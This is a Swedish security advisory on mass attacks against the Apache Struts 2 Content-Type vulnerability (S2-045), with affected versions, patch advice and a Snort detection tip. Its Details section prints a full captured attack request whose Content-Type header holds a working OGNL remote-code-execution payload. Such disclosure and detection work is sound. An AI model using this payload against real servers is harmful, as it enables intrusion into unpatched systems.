Publicerad
Ramverket Struts 2 angrips. Uppdatera nu!
Struts 2 är ett ramverk som ofta används i Java-baserade webbtillämpningar. Det går även under namnen Jakarta Struts och Apache Struts och förvaltas av apacheprojektet.
Sedan Apache publicerade en programfix[1] av Struts 2-ramverket i början av veckan så har attacker mot ännu icke uppdaterade system blivit vanliga. Programfixen rättar en sårbarhet som uppkommer vid filuppladdning till servern. Attacker underlättas av att en modul för Metasploit finns tillgänglig för att enkelt utnyttja sårbarheten.
Påverkade versioner
Versioner tidigare än Struts 2.3.32 respektive 2.5.10.1 är sårbara.
Detaljer
Sårbarheten utnyttjas genom att en angripare att lägga till programkod i fältet Content-Type i ett HTTP-anrop varpå programkoden körs av webbservern. Exempel på hur ett anrop kan se ut:
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html..
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo \"587d7b356191903a8ff327f548766288\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: */*
Referer: http://linux.cn/
Accept-Language: zh-cn
Content-Length: 0
Host: [removed]
Connection: Keep-Alive
Åtgärder
I första hand bör man snarast uppdatera sin Strutsversion och bygga om alla sina webbtillämpningar med den[2].
Man bör också kunna detektera försök till angrepp. Som synes blir fältet Content-Type ganska långt, ca 800 byte. Genom att sätta max_header_length för http_inspect i Snort eller motsvarande i andra NIDS-system till ett värde lägre än så.
Ytterligare läsning
[1] https://cwiki.apache.org/confluence/display/WW/S2-045
[2] https://arstechnica.com/security/2017/03/critical-vulnerability-under-massive-attack-imperils-high-impact-sites/